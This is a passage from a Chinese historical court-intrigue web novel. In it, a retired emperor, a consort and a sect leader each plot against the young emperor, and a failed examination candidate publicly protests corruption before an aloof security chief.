此处本是前朝离宫,景致极佳。秋意渐浓时,太液池水灰蒙蒙如铅镜,沿岸垂柳枯黄凋零,残荷败柳在瑟瑟风里颤抖,本该是游人如织的所在。可自太上皇景明帝退居于此,便以“静养”为名封闭了大部分园子,只留几处临水楼台,愈发显得寂寥萧瑟。 涵虚阁内,帘幕低垂。虽已近午时,阁内却只点着两盏青铜雁足灯,昏黄的光晕勉强照亮紫檀木嵌螺钿的长案。案上散乱堆着些奏折抄本、字画卷轴,还有一局残棋,黑白子纠缠如乱麻,显是下了许久未分胜负。 太上皇景明帝歪在临窗的紫檀木圈椅里,一身明黄便服半旧不新,袖口磨出了毛边。他年不过五十,鬓角却已染了霜,面容清癯,眼窝深陷,唯有一双眸子依旧锐利如鹰,此刻正盯着窗外太液池灰蒙蒙的水色,手中缓缓盘着一柄和田玉如意——那如意通体莹白,唯有柄端沁着一抹暗红,似血又似朱砂,触手生温。 “陛下,”下首坐着个穿深青官袍的老者,须发皆白,面容枯槁,正是前户部尚书、如今挂个“太子少保”虚衔的孙廷敬。他压低了声音,喉咙里带着痰音,“臣等在外头,日子实在难熬。永熙帝借着盐案,将咱们的人撤换了大半,剩下的也战战兢兢,不敢稍动。” 太上皇不语,只将玉如意在掌心转了一圈,目光落在残棋局上。半晌,才慢悠悠道:“撤换了才好。不破不立。” 孙廷敬一怔,不解其意。 “朕那好儿子,”太上皇轻笑一声,笑意未达眼底,“以为拿下沈济川,整顿了盐务,便能将朝堂握在手里?幼稚。”他拈起一枚黑子,“啪”地落在棋盘天元处,“盐政这块肉,多少人盯着?他今日换了顾铮言去刮油水,明日那些被刮疼了的盐商、漕帮、地方官吏,便会反噬。到时候民怨沸腾,乱象丛生……呵,正合朕意。” 孙廷敬浑浊的老眼亮了一亮:“陛下的意思是……” “白莲教。”太上皇吐出三个字,声音轻得几乎听不见,却让孙廷敬脊背一凉。 白莲教……那可是朝廷明令剿灭的邪教!当年七征僰人,便有白莲教徒混在其中煽风点火,后被血腥镇压,余孽散入民间,如野草烧不尽。如今太上皇竟要借他们的力? “陛下,此计……是否太险?”孙廷敬声音发颤,“白莲教狼子野心,若真坐大,恐成心腹之患啊。” “心腹之患?”太上皇转过头,目光如冰锥般刺向他,“孙卿,你是老糊涂了?如今最大的心腹之患,是坐在乾清宫里的那位!是替他卖命的萧道煜!”他顿了顿,语气缓下来,却更显森冷,“眼下最要紧的,是让永熙帝的‘新政’推行不下去,让天下人看看,他这个皇帝,是如何无能,如何逼反百姓的。” 孙廷敬冷汗涔涔,不敢再言。 太上皇又看向窗外。太液池对岸,隐约可见琼华岛的轮廓,岛上殿阁巍峨,那是他当年最爱的登高赏月之所。如今……却连踏足都难。永熙帝以“父皇静养”为名,将他软禁在这西苑方寸之地,美其名曰颐养天年,实则与囚徒何异? 他不甘心。这江山是他一手打下,龙椅是他坐了二十年的,如今却被亲生儿子夺去,成了个有名无实的“太上皇”?笑话! “联络白莲教的事,”太上皇收回目光,“让魏进忠去办。他如今虽失了势,在司礼监还有些老关系,进出宫禁也方便。” 孙廷敬点头:“魏公公那边……可靠么?” “可靠?”太上皇嗤笑,“这宫里宫外,哪有什么可靠之人?不过是各取所需罢了。”他顿了顿,指尖无意识地摩挲着玉如意上那抹暗红,“只是要小心,莫要让萧道煜嗅到味道。那条小狼崽子,鼻子灵得很。” 提到萧道煜,太上皇眼中闪过一丝复杂的情绪。那个孩子……是他亲手选中的棋子,也是他如今最忌惮的变数。当年忠顺王妃李氏诞下女婴,是他暗中默许了“以女充子”的荒唐戏码,为的就是在忠顺王府埋下一颗随时会炸的雷。后来萧道煜执掌北镇抚司,手段酷烈,替他清除了不少政敌,他乐见其成。可如今,这条他养的恶犬,却转头咬向了盐案,咬向了他的旧部沈济川。 是永熙帝授意,还是萧道煜自作主张?太上皇眯起眼。无论如何,这颗棋子,已渐渐脱离掌控了。 “陛下,”孙廷敬犹豫片刻,还是开口,“萧世子那边……是否要敲打敲打?他如今风头太盛,又掌着北镇抚司,若真查出什么……” “敲打?”太上皇打断他,唇角勾起一丝讥诮的弧度,“怎么敲打?提醒他,他最大的秘密攥在朕手里?孙卿啊,你太小看那孩子了。”他缓缓起身,走到窗边,望着远处宫阙的飞檐,“萧道煜能在北镇抚司坐稳,能得永熙帝重用,凭的不仅是狠辣,更是聪明。他知道什么该查,什么不该查;什么人能动,什么人不能动。盐案……他查沈济川,是奉永熙帝的命,可后续呢?他可曾深挖沈济川背后的关系网?可曾动朕的其他旧臣?” 孙廷敬一怔,细细回想,似乎……确实没有。盐案至今,落马的只有沈济川及其几个直接下属,再往上的,萧道煜便收了手。 “他在权衡。”太上皇轻声道,似在说给孙廷敬听,又似在说给自己听,“在朕与永熙帝之间,在忠顺王府与皇室之间,在他‘世子’的身份与那不可言说的秘密之间……寻找一个微妙的平衡。”他转过身,目光灼灼,“所以,不必敲打。相反,朕要赏他。” “赏?”孙廷敬更糊涂了。 “赏他忠心办差,赏他……替朕清理门户。”太上皇走回案前,提笔,铺开一张洒金笺,龙飞凤舞写下几行字,而后盖上私印,“将这手谕交给魏进忠,让他转告萧道煜:盐案办得好,朕心甚慰。另,朕听闻他旧疾复发,特赐高丽参十支,望他好生将养。” 孙廷敬接过手谕,心中凛然。这哪里是赏赐?分明是警告——朕知道你病了,知道你的一举一动,更知道……你该适可而止。 “下去吧。”太上皇摆摆手,重新坐回圈椅,闭上眼,手中玉如意缓缓转动,“记住,联络白莲教之事,务必隐秘。若走漏半点风声……你知道后果。” 孙廷敬躬身退出,阁内重归寂静。只有太液池带着凉意的风,穿过半开的窗,吹得帘幕轻摇,灯焰晃动,在太上皇脸上投下明明灭灭的光影。 窗外,秋阳高照,天朗气清,却无端透着萧索。可这西苑深处,阴谋的藤蔓,已悄悄探出了触角。 同一时辰,凤仪宫内,却是另一番光景。 卢贵妃盛装打扮,一身胭脂红遍地金宫装,外罩绯色云纹比甲,头上戴了整套的点翠头面,正中一支金凤衔珠步摇,凤口中垂下的东珠有拇指大小,随着她一举一动轻轻晃动,流光溢彩。 她斜倚在临窗的贵妃榻上,面前紫檀木小几上摆着四色茶点并一壶新沏的秋茶。下首坐着几位命妇,皆是京城勋贵家的夫人,个个珠围翠绕,笑语盈盈,可细看之下,眉宇间却都藏着一丝不易察觉的焦虑。 “娘娘今儿气色真好,”承恩公夫人陈氏拈起一块桂花糕,笑道,“这套头面也衬您,尤其是这支步摇,怕是宫里独一份吧?” 卢贵妃微微一笑,抬手理了理鬓边珠花:“姐姐说笑了,不过是皇上前儿赏的,本宫瞧着新鲜,戴出来给姐妹们瞧瞧。”她顿了顿,目光扫过众人,“说起来,今儿请诸位姐妹过来,也是有事相商。” 殿内静了一瞬。几位夫人交换了眼色,都放下了手中茶点。 卢贵妃不紧不慢地呷了口茶,才缓缓道:“盐案的事,诸位想必都听说了。沈济川倒了,扬州盐务换了人,皇上这是要……动真格的了。” 英国公夫人张氏性子最急,忍不住道:“娘娘,不是臣妇多嘴,皇上这次也太……太不顾情面了!沈济川固然有错,可到底是为朝廷办差多年,没有功劳也有苦劳,说下狱就下狱,说抄家就抄家,这让咱们这些老臣世家,心里怎么安?” “就是,”武安侯夫人接话,“还有卢公子的事……弘义那孩子,不过是酒后失言,就被萧道煜割舌下狱,这、这还有王法吗?” 提到卢弘义,卢贵妃眼底掠过一丝痛色,旋即被完美掩去。她放下茶盏,声音依旧温和:“弘义不懂事,是该受些教训。只是……”她话锋一转,“本宫担心的是,皇上借此机会,不仅要整顿盐务,更要……打压勋贵,扶持寒门。” 此言一出,满座皆惊。 “娘娘何出此言?”陈氏急问。 卢贵妃从袖中取出一份名单,摊在小几上。众人凑近看去,只见上头列了一串名字,多是些出身寒微、近年才崛起的官员,其中不乏已在六部担任要职者。 “皇上已密令吏部,下一批官员铨选,要优先提拔这些人。尤其是盐务相关的职位——两淮盐运使、各盐课提举司,甚至户部清吏司,都要换上新人。” “可靠?”张氏冷笑,“怕是皇上自己的心腹吧!” “正是。”卢贵妃颔首,“皇上这是要一点点将咱们这些勋贵世家,挤出权力中心。今日是盐务,明日可能是漕运,后日可能是军需……长此以往,咱们这些靠着祖荫吃饭的,只怕要坐吃山空了。” 殿内一片死寂。几位夫人面色煞白,她们虽深处内宅,却也明白家族荣辱系于朝堂。若真如贵妃所说,皇上要扶持寒门、打压勋贵,那她们的夫君、儿子,乃至整个家族,都将前途堪忧。 “娘娘,”陈氏深吸一口气,“您既然召我们来,想必已有对策?” 卢贵妃等的就是这句话。她坐直身子,目光缓缓扫过众人,声音压得极低,却字字清晰:“对策么……自然有。皇上要扶寒门,咱们便让他扶不成。盐务不是要换人么?咱们便让那些‘寒门新贵’,在盐务上栽跟头。” “如何栽?”武安侯夫人问。 “简单。”卢贵妃唇角勾起一抹冷笑,“盐政之弊,积重难返。顾铮言去了扬州,表面整肃,实则触动多少人的利益?盐商、漕帮、地方官吏……这些人岂会坐以待毙?咱们只需……稍稍推波助澜。” 她顿了顿,见众人似懂非懂,便说得更直白些:“本宫已联络了扬州几个大盐商,他们愿意出这个数,”她伸出三根手指,“三十万两,买顾铮言一个‘办事不力、激起民变’的罪名。届时盐商罢市,漕工闹事,百姓围衙……皇上派去的‘寒门能臣’,还能坐得稳位置?” 三十万两!几位夫人倒吸一口凉气。这手笔,太大了。 “可是,”张氏迟疑,“若真闹出民变,皇上震怒,彻查下来……” “查?”卢贵妃轻笑,“往哪儿查?盐商罢市,是因顾铮言压低盐价、断了他们财路;漕工闹事,是因新政克扣工钱、延误漕运;百姓围衙,是因盐价飞涨、生计无着……每一条,都合情合理,都是顾铮言‘急功近利、不恤民情’所致。皇上要查,也只能查到顾铮言头上。” 众人恍然。这是要将所有矛头,都引向皇上亲手提拔的“寒门干吏”。届时民怨沸腾,皇上为了平息事态,不得不撤换顾铮言,而接替的人选……自然要从“老成持重”的勋贵旧臣中挑选。 一石二鸟。既打击了寒门势力,又为自家子侄铺了路。 “娘娘高见!”陈氏率先反应过来,起身福了一福,“臣妇回去便与夫君商议,定当全力配合。” 其余几人也纷纷表态。一时间,殿内气氛又热络起来,仿佛已看见顾铮言灰头土脸离开扬州,自家子弟取而代之的景象。 卢贵妃含笑听着,手中团扇轻摇,扇面上绣着金菊,在殿内烛光下栩栩生辉。可她心底,却是一片冰寒。 弘义还在诏狱里,不知受着怎样的折磨。父亲来信说,北镇抚司的刑讯手段……她不敢细想。可她知道,此刻她不能倒,卢家不能倒。她必须为卢家,为三皇子,谋一条出路。 皇上要打压勋贵?好,那她便让皇上看看,勋贵百足之虫,死而不僵。她要借着这次盐案,将三皇子推上前台——一个需要倚仗勋贵支持、承诺维护旧臣利益的皇子,岂不比那个一心扶植寒门、冷落老臣的皇帝,更得人心? 窗外秋色正浓,天高云淡,殿内暗流汹涌。卢贵妃端起茶盏,盏中茶汤澄黄,映出她妆容精致的脸,也映出眼底那抹深不见底的野心。 乾清宫,西暖阁。 此处是皇帝批阅奏章、召见近臣之所,陈设简朴而威仪。南窗下设紫檀木大案,案上堆着如山奏本,一方端砚,一支朱笔。东墙悬着《江山万里图》,西墙是一排顶天立地的紫檀书柜,里头密密排着历年实录、会典。 永熙帝萧景琰端坐案后,一身石青常服,未戴冠,只以玉簪束发。他年不过二十二,面容清俊,眉眼间却已有了帝王的深沉。此刻他正执朱笔,在一份奏折上批阅,笔走龙蛇,不时停下沉思。 暖阁内极静,只有铜漏滴答,和皇帝翻动纸页的沙沙声。 许久,他批完最后一本,搁下笔,揉了揉眉心。贴身太监刘瑾立刻奉上一盏参茶,轻声道:“皇上,歇歇罢,已过了午时了。” 永熙帝接过茶,却不喝,只问:“萧道煜那边,可有消息?” “回皇上,”刘瑾垂首,“北镇抚司今早呈了密报,卢弘义已招供,承认在醉仙楼辱骂世子、诽谤朝廷,画了押。世子请示,是否按律处置?” “按律?”永熙帝轻笑,“按律该当何罪?” “这……”刘瑾迟疑,“诽谤朝廷、辱骂宗亲,轻则杖一百、流三千里,重则……斩立决。” 永熙帝抿了口茶,淡淡道:“卢家刚交了沈济川的罪证,算是立功。卢贵妃又在宫里,朕若真斩了她弟弟,怕是寒了勋贵的心。”他顿了顿,“告诉萧道煜,卢弘义死罪可免,活罪难逃。杖八十,革去功名,永不许入仕。再让卢家出十万两银子,充作军饷。” 刘瑾心中凛然。八十杖,足以要了卢弘义半条命;革去功名,断了他的仕途;十万两银子,更是割了卢家一大块肉。皇上这是既给了卢家教训,又未赶尽杀绝,更顺手充实了国库……好一招一石三鸟。 “奴才遵旨。”刘瑾躬身,“还有一事,顾铮言从扬州递了折子,说盐务清查已初见成效,但阻力不小,盐商抱团,地方官吏阳奉阴违,请求朝廷增派兵丁,以镇不轨。” 永熙帝眸色微沉。盐商抱团……他早料到会有这一出。沈济川在扬州经营十年,与盐商、漕帮乃至地方官府早已结成利益同盟,如今顾铮言去动这块奶酪,岂会顺利? “准。”他提笔,在顾铮言的折子上批了个“可”字,“调扬州卫五百兵丁,归顾铮言节制。再传朕口谕:盐务整顿,关乎国本,若有阻挠新政、煽动民变者,不论身份,立斩不赦。” “是。”刘瑾记下,又道,“皇上,太上皇那边……今日孙廷敬去了西苑,密谈了半个时辰。还有,魏进忠近来频频出入西苑,似有异动。” 永熙帝眼神一冷。父皇……果然坐不住了。盐案触动了太上皇旧部的利益,他岂 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他转过身,目光灼灼:“所以朕必须换血。用寒门子弟,用没有根基、只能依附皇权的新贵,去取代那些盘根错节的旧臣。这个过程,注定会流血,会阵痛,但……不得不为。” 刘瑾伏地:“皇上圣明。” “圣明?”永熙帝苦笑,“朕不过是无奈罢了。父皇在背后虎视眈眈,勋贵在朝堂阳奉阴违,就连朕亲手提拔的萧道煜……”他顿了顿,没有说下去。 那个病骨支离、却手段酷烈的堂兄,是他手里最锋利的刀,也是他最忌惮的变数。萧道煜太聪明,太懂得权衡,也太……不可控。用他,如驾驭猛虎,稍有不慎,便会反噬。 “萧道煜的赏赐,送去了么?”永熙帝问。 “送了。按皇上的吩咐,加赏玉带一条、珊瑚朝珠一串、黄金千两。”刘瑾答道,“世子当时正咳血,接了赏赐,只说了句‘谢主隆恩’,便让萨林收起来了。” 咳血……永熙帝眉心微蹙。萧道煜的病,越来越重了。这柄刀,还能用多久? “让太医院院判斐兰度,定期去忠顺王府请脉。”永熙帝吩咐,“用什么药,尽管用,朕的内库支银子。” “是。” “还有,”永熙帝走回案前,抽出一份早已拟好的名单,“这份擢升名单,明日发往吏部。上头的人,尽快安排实缺,尤其是盐务、漕运、户部这些要害衙门。” 刘瑾接过名单,扫了一眼,心头一震。上头十几个名字,无一不是出身寒微、却才干出众的官员。 “奴才明白了。”刘瑾收起名单,“奴才这就去办。” 永熙帝摆摆手,示意他退下。暖阁内又只剩下他一人。他重新坐回案后,却没有继续批阅奏章,只望着窗外高爽的秋空,久久不语。 父皇在西苑密谋,勋贵在后宫串联,白莲教在暗处蛰伏,寒门与旧臣的冲突一触即发……这看似平静的朝局,实则已是暗流汹涌,危机四伏。 而他,必须稳坐在这乾清宫中,平衡各方,落子布局。 一步错,满盘皆输。 窗外,一只雀儿落在枯枝上,叽叽喳喳叫了几声,扑棱着翅膀飞走了。永熙帝收回目光,提笔,蘸墨,在空白的宣纸上缓缓写下四个字:制衡,破局。 墨迹淋漓,在秋日清冷的光线里,渐渐干涸。 京城以西三百里,太行山深处。 此处峰峦叠嶂,林木蔽日,人迹罕至。在一处极隐蔽的山坳里,有个天然洞穴,洞口被藤蔓遮掩得严严实实,若非知情者,绝难发现。 洞内阴冷潮湿,石壁上凝结着水珠,滴滴答答落在积了水的地面。中央生着一堆篝火,火光照亮方圆数丈,却驱不散深处的黑暗。 火堆旁,绑着一个人。 正是前扬州盐运使沈济川。他原本富态圆润的身形,如今已瘦脱了形,一身囚衣破烂不堪,露出底下青紫交加的皮肉。头发散乱,满脸污垢,唯有那双眼睛还残留着昔日的精明,此刻却充满了恐惧。 他面前,站着一个人。 那人身形高瘦,穿着一件洗得发白的青布道袍,头上戴着一只狰狞的傩面具——面具青面獠牙,双目空洞,在跳跃的火光里显得格外可怖。面具人手中把玩着一把匕首,匕首不过三寸长,刀刃却泛着幽蓝的光,显然淬了毒。 “沈大人,”面具人开口,声音嘶哑低沉,像是故意压着嗓子,“这几日,可想清楚了?” 沈济川浑身一颤,嘶声道:“想、想清楚了……我都说,我都说!求、求你给我个痛快……” “痛快?”面具人轻笑,笑声在洞穴里回荡,诡异莫名,“那得看沈大人,说得够不够痛快了。”他俯身,匕首的刀尖轻轻划过沈济川的脸颊,留下一道细细的血线:“西苑……让你联络的人,是谁?” 沈济川脸色惨白如纸,嘴唇哆嗦着,却不敢说。 匕首往前送了半寸,刺破皮肤,血珠渗出来。 “我说!我说!”沈济川崩溃地哭喊,“是、是魏进忠!司礼监的魏公公!他、他是太上皇的人,让我借着盐务之便,暗中输送银两、搜集火器,以备……以备不时之需……” 面具人直起身,收起匕首。他转身走到火堆旁,从怀中取出一枚令牌——令牌青铜所铸,正面雕着一朵盛开的莲花,莲心处却是一团火焰纹样。 白莲教,火焰令。 “沈大人,”面具人背对着他,声音平静无波,“你贪墨盐课,勾结漕帮,贩卖私盐,这些罪,朝廷会判。但联络阉党,图谋不轨……这条罪,白莲教来判。” 沈济川猛地睁眼,惊恐地看着那枚令牌:“你、你们是白莲……” 话音未落。 面具人反手一挥,一道银光闪过。 沈济川的咽喉处,多了一道细如发丝的红线。他瞪大了眼,张了张嘴,却发不出任何声音,只有血沫从嘴角涌出,染红了破烂的囚衣。 篝火噼啪爆了个火星。 面具人缓缓摘下面具,露出一张年轻的脸——眉眼清俊,与萧道煜有七分相似,只是眼神更阴鸷,唇边带着一抹冷冽的弧度。 正是白莲教主,巫道鸿。 他蹲下身,用沈济川的衣襟擦了擦匕首上的血,而后将匕首收回袖中。火光映着他半边脸,明暗交错,如神似魔。 “阿姐,”他对着虚空,轻声道,“你看,这朝廷从上到下,从里到外,都烂透了。太上皇想复辟,皇帝想集权,勋贵想自保,寒门想出头……所有人都在争,都在抢,都在算计。”他笑了笑,笑容里满是讥诮与悲凉,“可谁想过那些被盐政逼得卖儿鬻女的百姓?谁想过那些被科举断了出路的寒门士子?谁想过……像你我这样,生来便是棋子、是傀儡、是牺牲品的人?” 洞穴里寂静无声,只有他的低语在回荡。 巫道鸿起身,走到洞口,掀开藤蔓。外面天光泻入,刺得他眯了眯眼。远处山峦连绵,云雾缭绕,如一幅萧瑟的淡墨山水。 可他看见的,却是烽火,是鲜血,是这腐朽王朝终将到来的崩塌。 “快了,”他喃喃,“等西苑与乾清宫斗得两败俱伤,等盐务崩溃激起民变,等寒门与勋贵彻底撕裂……便是白莲出世,涤荡乾坤之时。” 他戴上傩面具,身影没入洞外的山林,如鬼似魅。 洞穴内,篝火渐熄。沈济川的尸体歪倒在地,眼睛还睁着,倒映着最后一星将灭未灭的火光。 而那枚白莲火焰令,不知何时,已消失不见。 22. 第 22 章 永熙五年三月十五,春闱放榜日。 天还未亮,贡院外长街已是人山人海。十年寒窗,一朝揭晓,多少士子命运尽系于那几张黄榜。有白发苍苍的老举人,由儿孙搀扶着,颤巍巍挤在人群前头;有青衫磊落的年轻书生,三五成群,或低声交谈,或默念佛号;更有那等富贵人家的仆从,早早备好了轿马鞭炮,只等自家公子高中,便要敲锣打鼓招摇过市。 晨雾未散,街旁槐树刚抽新芽,湿漉漉的枝桠上挂着未晞的露水。沿街茶馆酒楼都已早早开门,二楼临窗的雅座挤满了看热闹的闲人,伙计穿梭其间,端茶送水,不时探出头去张望,与楼下相熟的士子调笑几句。 “来了!来了!” 不知谁喊了一声,人群顿时骚动起来。只见贡院朱漆大门缓缓开启,几名身着绯色官袍的礼部官员鱼贯而出,身后跟着两队衙役,手中捧着数卷黄绫裱糊的榜文。衙役登上早已搭好的木台,将榜文一一展开,悬于横杆之上。 “甲榜——第一甲第一名,顺天府大兴县,赵文瑞!” 唱名声如炸雷般响起,人群先是一静,随即爆发出嗡嗡议论。赵文瑞?那是当朝首辅赵阁老的嫡孙!年方二十,去年秋闱才中的举人,今年春闱便高中会元?果然是家学渊源,才高八斗! “第一甲第二名,浙江绍兴府,周子瑜!” “第一甲第三名,江苏苏州府,钱谦益!” 唱名声不绝于耳,每念一个名字,人群中便有人欢呼,有人叹息。中榜者或狂喜大笑,或喜极而泣,被亲友簇拥着,如众星捧月;落榜者或垂头丧气,或强颜欢笑,默默退出人群,背影萧索。 长街一角,柳砚独自站着。 他一身洗得发白的青布直裰,袖口磨出了毛边,肩上打着补丁,在锦衣华服的士子堆里,显得格外寒酸。他年约二十五六,面容清瘦,眉宇间带着读书人特有的书卷气,只是此刻脸色苍白如纸,一双眼睛死死盯着榜文,从第一甲看到第二甲,又从第二甲看到第三甲,看完正榜看副榜,看了一遍,又看一遍。 没有。没有他的名字。 耳边欢呼声、道贺声、叹息声、哭泣声,混作一团,嗡嗡作响,像隔着水传过来,听不真切。柳砚只觉得浑身发冷,春日清晨的寒意透过单薄衣衫,直往骨头缝里钻。他攥紧了拳头,指甲深深掐进掌心,却感觉不到疼。 怎么会……怎么会没有? 他自幼苦读,四岁开蒙,七岁能诗,十五岁中秀才,二十一岁中举人,虽家贫如洗,全靠母亲浆洗缝补、妹妹给人做绣活勉强维持,可他从未懈怠过。这次春闱,他自认三场文章做得花团锦簇,策论更是切中时弊,纵不能高中榜首,也该榜上有名才是。 可为何……为何榜上尽是些世家子弟、权贵姻亲?那赵文瑞,去年秋闱的文章他看过,不过中平之作;周子瑜,更是出了名的纨绔,平日里斗鸡走狗,诗词都作不通顺;钱谦益虽有些才名,可家中富甲一方,谁不知他父亲为这次春闱,上下打点了多少银子? “柳兄……柳兄?” 同乡举子李默不知何时挤了过来,拍了拍他的肩,面色尴尬:“看开些,三年后再来便是。你才学是有的,只是……只是时运不济。” 时运不济?柳砚缓缓转头,看向李默。这个同乡家境尚可,此次也落榜了,却还能强笑着安慰他。是啊,他们这些寒门子弟,本就该认命。十年寒窗算什么?满腹才学算什么?抵不过人家有个好爹,有个好岳家,有白花花的银子铺路。 “柳兄,”李默压低声音,“我听说……这次春闱,主考官是礼部侍郎周敬之,副主考是翰林院侍读学士陈子昂。周敬之是赵阁老的门生,陈子昂……听说与苏州钱家是姻亲。” 话说得隐晦,意思却明白。科举取士,看似公平,实则内里早已被权贵世家把持。寒门子弟,纵有真才实学,若无门路打点,也只能沦为陪衬。 柳砚没有说话。他只是慢慢抬起头,望向贡院门楣上那块金漆大匾——“为国求贤”。四个大字在晨光里熠熠生辉,刺得他眼睛生疼。 为国求贤?求的是哪门子的贤?是赵文瑞那样的“贤”,还是周子瑜那样的“贤”? 一股热血直冲头顶。柳砚忽然推开李默,踉跄着挤开人群,冲到榜文前。周围人都被他这举动惊住,纷纷让开一条路。 “柳砚!你要做什么!”李默急得在后面喊。 柳砚充耳不闻。他盯着榜文上那些名字,一个个看过去,看那些他熟悉或不熟悉的姓氏,看那些背后代表的权势与财富。然后,他笑了。 笑声很低,却带着一种近乎癫狂的凄厉。 “好一个‘为国求贤’!”他嘶声道,声音因激动而颤抖,“好一个‘公平取士’!这榜上之人,哪个不是世家子弟?哪个不是权贵姻亲?哪个……不是用银子堆出来的功名!” 人群哗然。有士子皱眉,有不忿者附和,更有那等中了榜的世家子弟,面露鄙夷之色。 “放肆!”一个穿宝蓝绸衫的年轻公子——正是中了二甲第七名的刘家少爷——冷笑道,“自己没本事,倒怪起朝廷不公来了?真是酸儒穷相!” “就是,”旁边有人帮腔,“科举取士,历来如此。你有怨气,回家发去,别在这儿丢人现眼!” 柳砚猛地转头,盯着那刘公子,眼中血丝密布:“历來如此,便对吗?朝廷开科取士,本为选拔真才,匡扶社稷。可如今呢?权贵把持科场,寒门无路请缨!这哪里是科举?这是买卖!是交易!是你们这些世家大族,瓜分官位的筵席!” 话越说越重,人群骚动起来。几个衙役闻声赶来,厉声呵斥:“大胆狂生!敢在贡院前诽谤朝廷!拿下!” 柳砚却似豁出去了,不退反进,指着榜文嘶喊:“我有何错?我说的句句是实!你们敢不敢将所有人的考卷公之于众?敢不敢让天下人看看,这些高中者的文章,到底配不配得上他们的名次!” “疯了!这人是疯了!” “快把他拖走!” 衙役上前扭住柳砚胳膊,他却挣扎着,从怀中掏出一卷湿漉漉的纸——那是他昨夜冒雨誊抄的考卷副本,本想今日中了榜,留作纪念的,如今却成了他唯一的武器。 “我的文章在此!”他将考卷高高举起,雨水浸透的墨迹在纸上洇开,字迹模糊,却依稀可见工整的馆阁体,“诸位请看!且看我柳砚的文章,比不比得上这榜上之人!若有一字不通,一句不实,我柳砚愿自刎于此,以谢天下!” 晨风吹过,湿透的考卷哗啦作响。人群死寂,所有人都看着那张纸,看着那个衣衫褴褛、却挺直脊梁的寒门举子。 长街尽头,忽然传来整齐的马蹄声。 “北镇抚司办差——闲人退避!” 一声厉喝如裂帛,划破了长街的寂静。人群如潮水般向两侧分开,让出一条宽阔的道路。 数十骑黑甲骑士自晨雾中驰来,玄铁鳞甲在微熹的天光里泛着幽冷的金属光泽,马蹄铁叩击青石板路,发出沉闷整齐的“嗒嗒”声,一声声,敲在人心尖上。 为首一骑,通体雪白,无一丝杂毛,竟是罕见的照夜玉狮子。马背上之人,却与这神骏形成鲜明对比——一身绯色官袍,玉带皂靴,身形瘦削单薄得异乎寻常,仿佛一阵风就能吹倒,几乎撑不起那身威严的官服。面色苍白近乎透明,唇色浅淡如残樱,下颌线条却绷得冷硬。唯有一双眼睛,竟是罕见的琥珀金色,此刻半阖着,长睫在眼下投出浅淡的阴影,显得倦怠而冷漠。 正是北镇抚司镇抚使,忠顺王世子萧道煜。 他身后半步,萨林一身玄甲,暗金短发根根竖立,绿瞳如鹰隼般扫视人群,目光尤其在触及前方那单薄背影时,微不可查地闪过一丝复杂,手中弯刀虽未出鞘,却已让人脊背生寒。再往后,黑鳞卫人人鬼面覆脸,只露出一双双冰冷无情的眼睛。 长街死寂。方才还喧闹的人群,此刻连大气都不敢喘。贡院前的衙役早已松开柳砚,垂手肃立,额上冷汗涔涔。 萧道煜勒马,目光缓缓扫过全场。那双琥珀金的眸子,在晨光里似熔化的金子,冰冷而摄人。他看了榜文一眼,又看向被衙役扭着的柳砚,最后落在柳砚手中那卷湿透的考卷上。 “何事喧哗。”他开口,声音不高,甚至带着一丝不易察觉的微哑,却带着一种久居上位的威压,字字清晰,如冰珠落玉盘。 礼部一个主事慌忙上前,躬身道:“回、回世子爷,有个落第举子在此闹事,诽谤朝廷,下官正欲将其拿下……” “诽谤朝廷?”萧道煜重复,唇角勾起一丝极淡的弧度,似笑非笑,“如何诽谤?” 主事噎住,不敢直言。柳砚却挣脱衙役,踉跄上前几步,扑通跪在萧道煜马前,双手高举那卷湿透的考卷。 “学生柳砚,顺天府昌平县人氏,永熙三年举人。”他声音嘶哑,却字字铿锵,“今春闱落第,非才学不济,实因科举不公,权贵把持,寒门无路!学生愿以性命担保,此文绝不在榜上诸公之下!求世子明察,还天下寒士一个公道!” 说罢,以额触地,长跪不起。 满街寂静,只闻风声。所有人都看着马背上那个病弱苍白却气势逼人的世子,看他如何发落这个胆大包天的寒门举子。 萧道煜垂眸,看着跪在尘埃里的柳砚。青布直裰已洗得发白,肩头补丁针脚细密,显是家中女眷精心缝补。举着考卷的手因用力而青筋暴起,指尖冻得发红,还在微微颤抖。 可这世上,绝望的人太多了。他救不过来,也不想救。更何况,他这副躯壳里藏着的,本就是不该存于朝堂、不该掌此权柄的秘密。一个行走在刀尖上的伪装者,自身尚且如履薄冰,又哪有余力去照耀他人的黑暗? “公道?”萧道煜轻轻吐出两个字,声音里带着一丝倦怠的讥诮,“这世上何来公道。”他抬手,马鞭虚指柳砚手中的考卷,“你既说你的文章不逊于榜上之人,便让吾看看。” 柳砚一怔,随即眼中迸发出希望的光芒,双手将考卷举得更高。 萧道煜却没有接。他只是用马鞭的梢头,轻轻一挑。 湿透的考卷从柳砚手中滑落,啪嗒一声,掉在满是泥水的青石板上。墨迹瞬间被污水浸染,模糊成一团团的污渍。 柳砚僵住了,维持着双手高举的姿势,呆呆看着地上那团污糟的纸。那是他熬了三个日夜,一字一句斟酌写就的文章;是他十年寒窗的心血;是他为母亲、为妹妹争一个出路的全部希望。 如今,就那样躺在泥水里,像一团被人随意丢弃的垃圾。 “你的文章,”萧道煜的声音从头顶传来,平静无波,“既已落第,便是无用之物。无用之物,便该待在它该待的地方。” 他顿了顿,琥珀金的眸子扫过柳砚惨白的脸,那眸底深处,掠过一丝极快、几乎无法捕捉的幽微波动,像是冰封的湖面下曾有暗流涌过,旋即又复归于绝对的寒冷。 “至于科举是否不公……这不是你该过问的事。北镇抚司的职责,是维护朝廷法度,不是听寒门士子诉苦。” 说罢,一勒缰绳,照夜玉狮子长嘶一声,前蹄扬起,几乎踏在柳砚身上。柳砚本能地向后一躲,跌坐在地,污泥溅了一身。 萧道煜看也未看他,策马前行。黑鳞卫紧随其后,马蹄踏过那卷湿透的考卷,踏过柳砚最后的尊严,踏过长街的青石板,渐渐远去。 晨雾散尽,天光大亮。贡院前的热闹早已散去,只留下满地狼藉,和那个跌坐泥水中的青衫书生。 李默从人群中挤出来,扶起柳砚,低声道:“柳兄……算了,咱们……咱们回去吧。” 柳砚没有动。他只是死死盯着地上那团被马蹄践踏得不成样子的考卷,盯着那些模糊的墨迹,盯着那些他曾引以为傲的文字。 许久,他忽然笑了。笑声很低,却比哭还难听。 “回去?”他喃喃,“回哪儿去?” 家徒四壁,他这次进京赶考,已是借遍了乡邻,若不能中榜,连回乡的盘缠都没有。如今希望破灭,尊严扫地,他还有何颜面回去? “柳兄……”李默红了眼眶,从怀里掏出几块碎银子,塞进他手里,“这些……你先拿着,找个地方住下,再从长计议。” 